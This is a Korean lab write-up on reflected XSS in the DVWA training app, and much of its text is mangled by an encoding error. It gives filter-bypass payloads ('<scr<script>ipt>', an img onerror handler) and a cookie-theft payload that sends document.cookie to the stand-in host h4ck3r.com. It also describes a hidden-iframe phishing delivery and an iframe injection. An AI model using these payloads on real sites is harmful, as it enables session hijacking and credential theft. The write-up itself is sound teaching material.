[DVWA] XSS (Reflected)
Vulnerability: XSS (Reflected)
XSS ์ทจ์ฝ์ ์ ์ฌ์ฉ์์ ์ ๋ ฅ ๊ฐ์ HTML์์ ์ถ๋ ฅํ๋ ๋ถ๋ถ์์ ๋ฐ์ํ๋ค. ๋ณธ ์ค์ต์์๋ ์ ๋ ฅ ๊ฐ์ด ๋ฐ์ฌ๋์ด ์ถ๋ ฅ๋๋ ๊ฒฝ์ฐ์ ๋ํ์ฌ XSS๊ฐ ๊ฐ๋ฅํ์ง ์ฌ๋ถ๋ฅผ ํ์ธํ๋ค.
DVWA XSS(Reflected) ์ค์ต
์ค์ต ํ๊ฒฝ
- Windows Docker๋ฅผ ์ด์ฉํ DVWA
- Windows ํ๊ฒฝ์ Burp Suite
Low, Medium, High, Impossible ๋ ๋ฒจ์ ์๊ด์์ด ์์ ๊ฐ์ ํ์ด์ง๊ฐ ๋์ค๊ณ , ์ ๋ ฅ์ฐฝ์ ์ ๋ ฅํ๋ ๊ฐ์ ํด๋น ํ์ด์ง์ ๊ทธ๋๋ก ๋ฐ์ฌ์์ผ ์ถ๋ ฅํด์ฃผ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ด๋ค.
alert(document.cookie);
์์ ๊ฐ์ด ์ฟ ํค๋ฅผ ์ถ๋ ฅํด์ฃผ๋ ๊ฒ์ ๋ชฉํ๋ก ํ ๊ฒ์ด๋ค.
Security Level: Low
< ' " > ํ์ธํ๊ธฐ
์ฐ์ XSS ๊ฐ๋ฅ์ฌ๋ถ ํ์ธ์ ์ํด < ' " > ๋ฅผ ์ ๋ ฅํ์ฌ ์๋ต์ ํ์ธํด๋ณธ๋ค.
(Burp Suite๋ฅผ ํตํด ํ์ธ๋๋ ์๋ต์ ๋ค๋ฅด์ง๋ง, ์น ์์ ์ถ๋ ฅ์ ์ด๋ค ๋ ๋ฒจ์์๋ ์์ ๊ฐ์ด ๋์ผํ๊ฒ ๋์จ๋ค.)
Low ๋ ๋ฒจ์ ์์ฒญ์ ํ์ธํด๋ณด๋ฉด ์์ ๊ฐ๊ณ , ํด๋น ์์ฒญ์ ์๋ต์ ๋ค์๊ณผ ๊ฐ๋ค.
์์ ๊ฐ์ด ์ ๋ ฅํ < ' " > ๊ฐ ๊ทธ๋๋ก ์ถ๋ ฅ๋๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ฟ ํค(Cookie) ํ์ทจ
์ฟ ํค๋ฅผ ์ถ๋ ฅํ๊ธฐ ์ํด script ํ๊ทธ ์์ alert()๋ฅผ ์ด์ฉํ์ฌ document.cookie๋ฅผ ์ถ๋ ฅํ๋ค. ์๋์ ๊ฐ์ ์ฝ๋๋ฅผ ์ฐ์ ์๋ํด๋ณธ๋ค.
<script>alert(document.cookie);</script>
๊ทธ ๊ฒฐ๊ณผ ๋ค์๊ณผ ๊ฐ์ด ์ฟ ํค๊ฐ ์๋ฆผ์ฐฝ์ ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
script ํ๊ทธ๊ฐ ํ์ฑํ ๋์ด์๊ธฐ ๋๋ฌธ์ ๋ค์๊ณผ ๊ฐ์ด ์ด๋ฆ์ด ์น ์์๋ ์ถ๋ ฅ๋์ง ์๋๋ค.
Burp Suite๋ฅผ ํตํด ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์คํฌ๋ฆฝํธ ํ๊ทธ๊ฐ ํ์ฑํ ๋์ด alert()๊ฐ ํ์ฑํ ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
Security Level: Medium
< ' " > ํ์ธํ๊ธฐ
์ฐ์ XSS ๊ฐ๋ฅ์ฌ๋ถ ํ์ธ์ ์ํด < ' " > ๋ฅผ ์ ๋ ฅํ์ฌ ์๋ต์ ํ์ธํด๋ณธ๋ค.
(Burp Suite๋ฅผ ํตํด ํ์ธ๋๋ ์๋ต์ ๋ค๋ฅด์ง๋ง, ์น ์์ ์ถ๋ ฅ์ ์ด๋ค ๋ ๋ฒจ์์๋ ์์ ๊ฐ์ด ๋์ผํ๊ฒ ๋์จ๋ค.)
Medium ๋ ๋ฒจ์ ์์ฒญ์ ํ์ธํด๋ณด๋ฉด ์์ ๊ฐ๊ณ , ํด๋น ์์ฒญ์ ์๋ต์ ๋ค์๊ณผ ๊ฐ๋ค.
์์ ๊ฐ์ด ์ ๋ ฅํ < ' " > ๊ฐ ๊ทธ๋๋ก ์ถ๋ ฅ๋๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ฟ ํค(Cookie) ํ์ทจ
์ฟ ํค๋ฅผ ์ถ๋ ฅํ๊ธฐ ์ํด script ํ๊ทธ ์์ alert()๋ฅผ ์ด์ฉํ์ฌ document.cookie๋ฅผ ์ถ๋ ฅํ๋ค. ์๋์ ๊ฐ์ ์ฝ๋๋ฅผ ์ฐ์ ์๋ํด๋ณธ๋ค.
<script>alert(document.cookie);</script>
์์ ๊ฐ์ด ์ ๋ ฅํ ๊ฒฐ๊ณผ ๋ค์๊ณผ ๊ฐ์ด ์ผ๋ถ๋ถ๋ง ๊ทธ๋๋ก ์ถ๋ ฅ๋์๋ค. ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ ๋์ง ์์๋ค๋ ์๋ฏธ์ด๋ค.
Burp Suite์ ์ด์ฉํ์ฌ ์์ฒญ๊ณผ ์๋ต์ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
์์ ๊ฐ์ด ์๋ค์ <script> ๊ฐ ์ง์์ง ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ฆ, ํํฐ๋ง์ด ์ด๋ฃจ์ด์ง๊ณ ์๋ค๋ ๊ฒ์ด๋ค.
ํด๋น ์์ค์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
์์ ๊ฐ์ด ์ ๋ ฅ ๊ฐ์ ๋ํ์ฌ <script>๋ฅผ ๊ณต๋ฐฑ ๋ฌธ์๋ก ์นํํ๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ๊ทธ๋์ ์ง์์ง ๊ฒ์ด๋ค.
ํ์ง๋ง ์์ ๊ฐ์ด ํน์ ๋จ์ด๋ง์ ์นํํ๋ ๊ฒฝ์ฐ์๋ ํด๋น ๋ฌธ์ ์ฌ์ด์ ํํฐ๋ง ๋๋ ๋ฌธ์๋ฅผ ์ฝ์ ํ๋ ๋ฐฉ์์ผ๋ก ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค.
<script> -> <scr<script>ipt>
์์ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ <script> ๊ฐ ๊ณต๋ฐฑ์ด ๋๋ฉด์ <scr ๊ณผ ipt> ๊ฐ ๋ถ๊ฒ ๋์ด <script> ๊ฐ ๋๋ค๋ ๊ฒ์ด๋ค.
๊ทธ๋ฌ๋ฏ๋ก ๋ค์๊ณผ ๊ฐ์ด ์ ๋ ฅํ์ฌ ์ฟ ํค ์ถ๋ ฅ์ ์๋ํด๋ณธ๋ค.
<scr<script>ipt>alert(document.cookie);</script>
์์ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ด ์ฟ ํค๊ฐ ์๋ฆผ์ฐฝ์ ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๊ทธ๋ฆฌ๊ณ ๋ค์๊ณผ ๊ฐ์ด ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ ๋์ด์๊ธฐ ๋๋ฌธ์ ์น ์์๋ ์ถ๋ ฅ๋์ง ์๋๋ค.
์ด๊ฒ์ Burp Suite์ผ๋ก ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
Security Level: High
< ' " > ํ์ธํ๊ธฐ
์ฐ์ XSS ๊ฐ๋ฅ์ฌ๋ถ ํ์ธ์ ์ํด < ' " > ๋ฅผ ์ ๋ ฅํ์ฌ ์๋ต์ ํ์ธํด๋ณธ๋ค.
(Burp Suite๋ฅผ ํตํด ํ์ธ๋๋ ์๋ต์ ๋ค๋ฅด์ง๋ง, ์น ์์ ์ถ๋ ฅ์ ์ด๋ค ๋ ๋ฒจ์์๋ ์์ ๊ฐ์ด ๋์ผํ๊ฒ ๋์จ๋ค.)
High ๋ ๋ฒจ์ ์์ฒญ์ ํ์ธํด๋ณด๋ฉด ์์ ๊ฐ๊ณ , ํด๋น ์์ฒญ์ ์๋ต์ ๋ค์๊ณผ ๊ฐ๋ค.
์์ ๊ฐ์ด ์ ๋ ฅํ < ' " > ๊ฐ ๊ทธ๋๋ก ์ถ๋ ฅ๋๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ฟ ํค(Cookie) ํ์ทจ
์ฟ ํค๋ฅผ ์ถ๋ ฅํ๊ธฐ ์ํด script ํ๊ทธ ์์ alert()๋ฅผ ์ด์ฉํ์ฌ document.cookie๋ฅผ ์ถ๋ ฅํ๋ค. ์๋์ ๊ฐ์ ์ฝ๋๋ฅผ ์ฐ์ ์๋ํด๋ณธ๋ค.
<script>alert(document.cookie);</script>
์์ ๊ฐ์ด ์ ๋ ฅํ ๊ฒฐ๊ณผ ๋ค์๊ณผ ๊ฐ์ด >๋ง ๊ทธ๋๋ก ์ถ๋ ฅ๋์๋ค. ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ ๋์ง ์์๋ค๋ ์๋ฏธ์ด๋ค.
Burp Suite์ ์ด์ฉํ์ฌ ์์ฒญ๊ณผ ์๋ต์ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
๋ค์๊ณผ ๊ฐ์ด script ๋ก ์์ํด์ > ์ ๊น์ง์ ๋ชจ๋ ๊ฒ์ด ์ง์์ง ๊ฒ์ ํ์ธํ ์ ์๋๋ฐ, ์์ค์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
PHP์ preg_replace() ํจ์๋ฅผ ์ด์ฉํ์ฌ <*s*c*r*i*p*t ๊ท์น์ ํด๋นํ๋ ๋ฌธ์์ด์ ๋์๋ฌธ์ ๊ตฌ๋ถํ์ง ์๊ณ ์ ๊ฑฐํด๋ฒ๋ฆฐ๋ค.
์ฆ, "<script", "<SCRIPT", "<SC\RIPT", "</script", "</SCRIPT", "</SC/**/RIPT" ๋ฑ์ ๋ฌธ์์ด๋ก ์์ํ๋ ๋ฌธ์์ด์ ์ ๊ฑฐํ๋ค๋ ๊ฒ์ด๋ค. ๋๋ฌธ์ <script> ํ๊ทธ๋ฅผ ์ด์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ถ๊ฐ๋ฅํ๋ค.
ํ์ง๋ง script๋ฅผ ์ฝ์ ํ๋ ๋ฐฉ๋ฒ์ด <script> ํ๊ทธ๋ง ์๋ ๊ฒ์ด ์๋๋ผ๋ ๊ฒ์ ์๊ฐํด์ผ ํ๋ค.
(OWASP์ XSS ํํฐ๋ง ์ฐํ๋ฒ(XSS Filter Evasion Cheat Sheet)์ ์ดํด๋ณด๋ฉด ๋๋ฌด๋ ๋ง์ ๋ฐฉ๋ฒ์ด ์๋ค.)
์ฌ๊ธฐ์๋ img ํ๊ทธ๋ฅผ ์ด์ฉํ ๋ฐฉ๋ฒ์ ์ด์ฉํ ๊ฒ์ด๊ณ ์ ๋ ฅ๊ฐ์ ๋ค์๊ณผ ๊ฐ๋ค.
<img src=x onerror=alert(document.cookie);>
์์ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ img ์ฃผ์๊ฐ x ๋ก ๋ถ๋ฌ์ค๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅ ํ๊ธฐ ๋๋ฌธ์, ์๋ฌ๊ฐ ๋ฐ์ํ๊ณ onerror ๋ผ๋ EventHandler์ ์ํด ์ฟ ํค๋ฅผ ์ถ๋ ฅํ๋ ์๋ฆผ์ฐฝ์ ๋์ฐ๊ฒ ๋๋ค.
์์ ๊ฐ์ด ๋ถ๋ฌ์ค๋๋ฐ ์คํจํ img ๊ฐ ๋จ๊ณ ์๋ฆผ์ฐฝ์ ์ฟ ํค๊ฐ ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ด๋ฅผ Burp Suite๋ฅผ ํตํด ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
์์ ๊ฐ์ด img ํ๊ทธ์ ๊ฒฝ์ฐ๋ ํ์ฑํ๋๋ ๊ฒ์ ํ์ธํ ์ ์๊ณ , ๋ค์๊ณผ ๊ฐ์ด img ๋ฅผ ๋ถ๋ฌ์ค๋๋ฐ ์คํจํ์๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
Security Level: Impossible
< ' " > ํ์ธํ๊ธฐ
์ฐ์ XSS ๊ฐ๋ฅ์ฌ๋ถ ํ์ธ์ ์ํด < ' " > ๋ฅผ ์ ๋ ฅํ์ฌ ์๋ต์ ํ์ธํด๋ณธ๋ค.
(Burp Suite๋ฅผ ํตํด ํ์ธ๋๋ ์๋ต์ ๋ค๋ฅด์ง๋ง, ์น ์์ ์ถ๋ ฅ์ ์ด๋ค ๋ ๋ฒจ์์๋ ์์ ๊ฐ์ด ๋์ผํ๊ฒ ๋์จ๋ค.)
Impossible ๋ ๋ฒจ์ ์์ฒญ์ ํ์ธํด๋ณด๋ฉด ์์ ๊ฐ๊ณ , ํด๋น ์์ฒญ์ ์๋ต์ ๋ค์๊ณผ ๊ฐ๋ค.
์์ ๊ฐ์ด ์ ๋ ฅํ < ' " > ์ค ' ๋ฅผ ์ ์ธํ ๋๋จธ์ง๊ฐ ๊ทธ๋๋ก ์ถ๋ ฅ๋์ง ์๊ณ , HTML Entity๋ก ๋ณํ๋์ด์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ๊ทธ๋๋ก ์ถ๋ ฅ๋๋ ๊ฒ ์ฒ๋ผ๋ณด์ด์ง๋ง ์ค์ ๋ก๋ HTML์ ์ํฅ์ ์ฃผ์ง ์๋ ๋ค๋ ๊ฒ์ด๋ค.
์์ ๊ฒฝ์ฐ์๋ ์คํฌ๋ฆฝํธ ์ฝ์ ์ด ๋ถ๊ฐ๋ฅํ๋ค. ํ์ง๋ง ์ด๋ค์์ผ๋ก ์ถ๋ ฅ์ด ๋์ค๋์ง ํ์ธํ๊ธฐ ์ํด Low ๋ ๋ฒจ์์ ํ์ธํด๋ดค๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํด๋ณธ๋ค.
์ฟ ํค(Cookie) ํ์ทจ - ๋ถ๊ฐ๋ฅ
<script>alert(document.cookie);</script>
์์ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ, ๋ค์๊ณผ ๊ฐ์ด ํด๋น ์ ๋ ฅ์ด ์คํฌ๋ฆฝํธ๋ก์ ํ์ฑํ๋๋ ๊ฒ์ด ์๋๋ผ ๋ฌธ์ ๊ทธ๋๋ก ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ด๋ฅผ Burp Suite๋ก ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด HTML Entity ๋ณํ์ ํตํด ์คํฌ๋ฆฝํธ์ ์ํฅ์ ์ค ์ ์๋ ๋ฌธ์๋ค์ ๋ฐ๊พธ์ด ์ค ๊ฒ์ ํ์ธํ ์ ์๋ค.
ํด๋น ์์ค์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
์์ ๊ฐ์ด htmlspecialchars๋ฅผ ์ด์ฉํ์ฌ HTML ํน์๋ฌธ์์ ๋ํ ๋ณํ์ ์์ผ์ฃผ๊ณ ์๋ค๋ ๊ฒ์ ์ ์ ์๋ค.
( & )๋ & ๋ก ๋ณํ
( > )๋ > ๋ก ๋ณํ
( < )๋ < ๋ก ๋ณํ
( " )๋ " ๋ก ๋ณํ
(htmlspecialchars() ํจ์ ์ฌ์ฉ์ ENT_QUOTES๋ฅผ ์ค์ ํ๋ฉด ์์๋ฐ์ดํ(')๋ '๋ก ๋ณํ)
Impossible ๋ ๋ฒจ์์๋ < " > ์ ๋ํ์ฌ HTML Entity๋ก์ ๋ณํ์ ํตํด ์ฐจ๋จํ๊ณ ์๋ค. ํน์ํ ์ํฉ์์๋ htmlspecialchars() ํจ์๋ฅผ ์ฌ์ฉํ๋๋ผ๋ ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ์ ์ด ๊ฐ๋ฅํ ์ ์๋ค. (์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ๊ฐ์ <script> ๋ด์ ์ถ๋ ฅํ์ฌ ์น ๋ธ๋ผ์ฐ์ ๋ก ์ ๋ฌํ ๋์ ๊ทธ๋ฐ ๊ฒฝ์ฐ๊ฐ ๋ฐ์ํ ์ ์๋ค.)
๊ณต๊ฒฉ ์๋๋ฆฌ์ค
์ธ์ (Session) ํ์ทจ
์ธ์ ํ์ทจ์ ๋ํ ์๋๋ฆฌ์ค๋ฅผ ์๊ฐํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
์ธ์ ์ฟ ํค๋ฅผ ๋นผ๋ด๋ฉด ํผํด์์ ๊ถํ์ ํ์ทจํ ์ ์๋ค. ๊ณต๊ฒฉ์๋ ์ทจ์ฝ์ ์ ํ์ ํ๊ณ ๋ณ์ ๊ฐ์ ์กฐ์ํ์ฌ <img width="0" height="0" src="x" onerror="document.location='http://h4ck3r.com/log_cookie.cgi?cookie='+document.cookie"> ๊ณผ ๊ฐ์ด ์ฟ ํค(cookie)๊ฐ์ h4ck3r.com ์ผ๋ก ์ ๋ฌํ๋๋ก ํ๋ ๊ณต๊ฒฉ ๊ตฌ๋ฌธ์ด๋ค. ํด๋น ๊ตฌ๋ฌธ์ ์ฝ์ ํ URL์ ๋ค์๊ณผ ๊ฐ๋ค. (Medium ๋ ๋ฒจ ๊ธฐ์ค)
http://localhost/vulnerabilities/xss_r/?name=%3Cimg+width%3D%220%22+height%3D%220%22+src%3D%22x%22+onerror%3D%22document.location%3D%27http%3A%2F%2Fh4ck3r.com%2Flog_cookie.cgi%3Fcookie%3D%27%2Bdocument.cookie%22%3E
๊ณต๊ฒฉ์๊ฐ ํด๋น ๋งํฌ๋ฅผ ๊ด๋ฆฌ์๊ฐ ํด๋ฆญํ๋๋ก ์ ๋ํ๊ธฐ ์ํด ๋ฉ์ผ์ ํตํด ํด๋น URL์ ๋ณด๋ธ๋ค. ๊ด๋ฆฌ์๊ฐ ๊ด์ฌ ๊ฐ์ง๋งํ ๋ด์ฉ์ ๋ฉ์ผ์ ๋ณด๋ด๋ฉด์ <iframe>์ ํตํด ํด๋น URL์ ์๋์์ผ ์ฒจ๋ถํ๋ ๊ฒ์ด๋ค.
๊ด๋ฆฌ์๊ฐ ํด๋น ์ฌ์ดํธ๋ฅผ ๋ช๋ถ ์ ๊น์ง ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก ์ ์ํ๋ค๊ฐ ํด๋น ํญ์ ๊ป์ง๋ง, ์น ๋ธ๋ผ์ฐ์ ๋ฅผ ์ข ๋ฃํ์ง๋ ์์๋ค๋ฉด? ๊ทธ๋ฆฌ๊ณ ๋์ผํ ์น ๋ธ๋ผ์ฐ์ ์์ ๊ณต๊ฒฉ์๊ฐ ๋ณด๋ธ ๋ฉ์ผ์ ์ฝ๋๋ค๋ฉด? ๊ณต๊ฒฉ์๊ฐ <iframe>์ ์จ๊ฒจ๋ ์์ URL์ด ์คํ๋์ง๋ง ๊ด๋ฆฌ์๋ ๋์น์ฌ์ง ๋ชปํ๋ค.
https://h4ck3r.com/log_cookie.cgi?cookie=PHPSESSID=krp2eou9c1jfalakj0j1b4ptp3;%20security=medium
ํด๋น URL์ ์ ์์ ํตํด ๊ณต๊ฒฉ์์ ์๋ฒ๋ก ๊ด๋ฆฌ์์ ์ธ์ ID๊ฐ ์ ๋ฌ๋๋ค.
๊ณต๊ฒฉ์๋ ์์ ์ ์๋ฒ๋ก ์ ๋ฌ๋ ์ฟ ํค(cookie)๊ฐ์ ํฌํจ๋์ด ์๋ ์ธ์ ID๋ฅผ ์์ ์ ์น ๋ธ๋ผ์ฐ์ ์ ์ ๋ ฅํ์ฌ, ๊ณต๊ฒฉ์๋ ํด๋น ์น ์ฌ์ดํธ์ ๊ด๋ฆฌ์ ๊ถํ์ผ๋ก ์ ์ํ๊ฒ ๋๋ค.
์ผ๋ฐ์ ์ผ๋ก ์ฟ ํค์ ๊ฒฝ์ฐ, ์ ํจ๊ธฐ๊ฐ์ ์ ํ์ง ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ์ด๋ฐ ๊ฒฝ์ฐ์๋ ์น ๋ธ๋ผ์ฐ์ ๋ฅผ ์์ ํ ์ข ๋ฃํ์ง ์๋ ํ์, ์น ๋ธ๋ผ์ฐ์ ๋ ์ฟ ํค๋ฅผ ๊ณ์ํด์ ์ ์ฅํ๊ณ ์๊ฒ๋๋ค.
์์ ์๋๋ฆฌ์ค์์๋ ๋ณด๋ฉด, ๊ด๋ฆฌ์๊ฐ ๊ด๋ฆฌ์ ํ์ด์ง์ ํญ(Tab)์ ๊ป๋๋ผ๋, ํด๋น ์ฟ ํค๊ฐ ์ด์ ์๋ ๊ฒฝ์ฐ ๋ด๋ถ์ ์ธ์ ๊ฐ์ด ๊ทธ๋๋ก ์ด์ ์๊ฒ ๋๋ค๋ ๊ฒ์ด๋ค.
์ธ์ ์ ๋ํ์ฌ ํ์์์์ ์ค์ ํ๊ฑฐ๋ (Session Timeout), ์ฌ์ฉ ํ์๋ ๋ก๊ทธ์์์ ๊ถ์ฅํ๋ ๋ฑ์ ๋ค์ํ ๊ถ๊ณ ์ฌํญ์ด ์์ ์ ์์ง๋ง, ์ ์ง์ผ์ง์ง ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ๊ทธ๋ฌ๋ฏ๋ก XSS ์ทจ์ฝ์ ์ ๋ณด์ํ๋ ๊ฒ์ด ์ค์ํ๋ค๊ณ ๋ณผ ์ ์๋ค.
ํผ์ฑ(Phishing) ์ฌ์ดํธ ๋ฆฌ๋๋ ์ (Redirection)
์ฟ ํค(Cookie)์ ์ธ์ (Session)์ ๋ํ์ฌ HttpOnly๊ฐ ์ค์ ๋์ด ์๋ ๊ฒฝ์ฐ์๋ ์ธ์ ํ์ทจ๊ฐ ์ด๋ ค์ธ ์ ์๋ค. ์ด๋ฐ ๊ฒฝ์ฐ ํผ์ฑ(Phishing) ์ฌ์ดํธ๋ก ๋ฆฌ๋๋ ์ (Redirect)์์ผ ํด๋น ํ์ด์ง์์ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ๊ฐ์ ์ ๋ ฅํ๋๋ก ์ ๋ํ๋ ๋ฐฉ๋ฒ์ด ์๋ค.
You need to login to use this page.<br></pre><iframe width=600 height=400 src="http://localhost/"></iframe>
์์ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ iframe ๋ด๋ถ์ ์น ํ์ด์ง๋ฅผ ๋ถ๋ฌ์ฌ ์ ์๊ณ , ํด๋น ํ์ด์ง๋ฅผ ์์์ฐจ๋ฆฌ๊ธฐ ํ๋ค๊ฒ ๊ต๋ฌํ๊ฒ ๋ง๋ค์ด ๋ ๊ฒฝ์ฐ, ํด๋น ํ์ด์ง์ ์ ์ํ ์ด์ฉ์๋ ์์ฌ์์ด ๋ณธ์ธ์ ์์ด๋(Id) ์ ๋น๋ฐ๋ฒํธ(Passoword)๋ฅผ ์ ๋ ฅํ ๊ฒ์ด๋ค. ํ์ง๋ง ํด๋น ํ์ด์ง๋ ํผ์ฑํ์ด์ง ์ผ ๊ฒ์ด๋ฏ๋ก ์ ๋ ฅํ๋ ์ ๋ณด๋ ๊ณต๊ฒฉ์์๊ฒ ์ ๋ฌ๋๊ณ , ํด๋น ์ด์ฉ์์ ๊ณ์ ์ด ํ์ทจ๋ ๊ฒ์ด๋ค.
http://localhost ๋ก ์ ์ํ๋๋ก ์ ๋ํ ๊ฒ์ผ๋ก, ํด๋น ํ์ด์ง๊ฐ ๋ง์ฝ, ํผ์ฑ ํ์ด์ง์ด๊ณ ์ ๋ง๋ค์ด์ ธ ์๋ค๋ฉด ์์ฌํ์ง ์์ ์ ์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์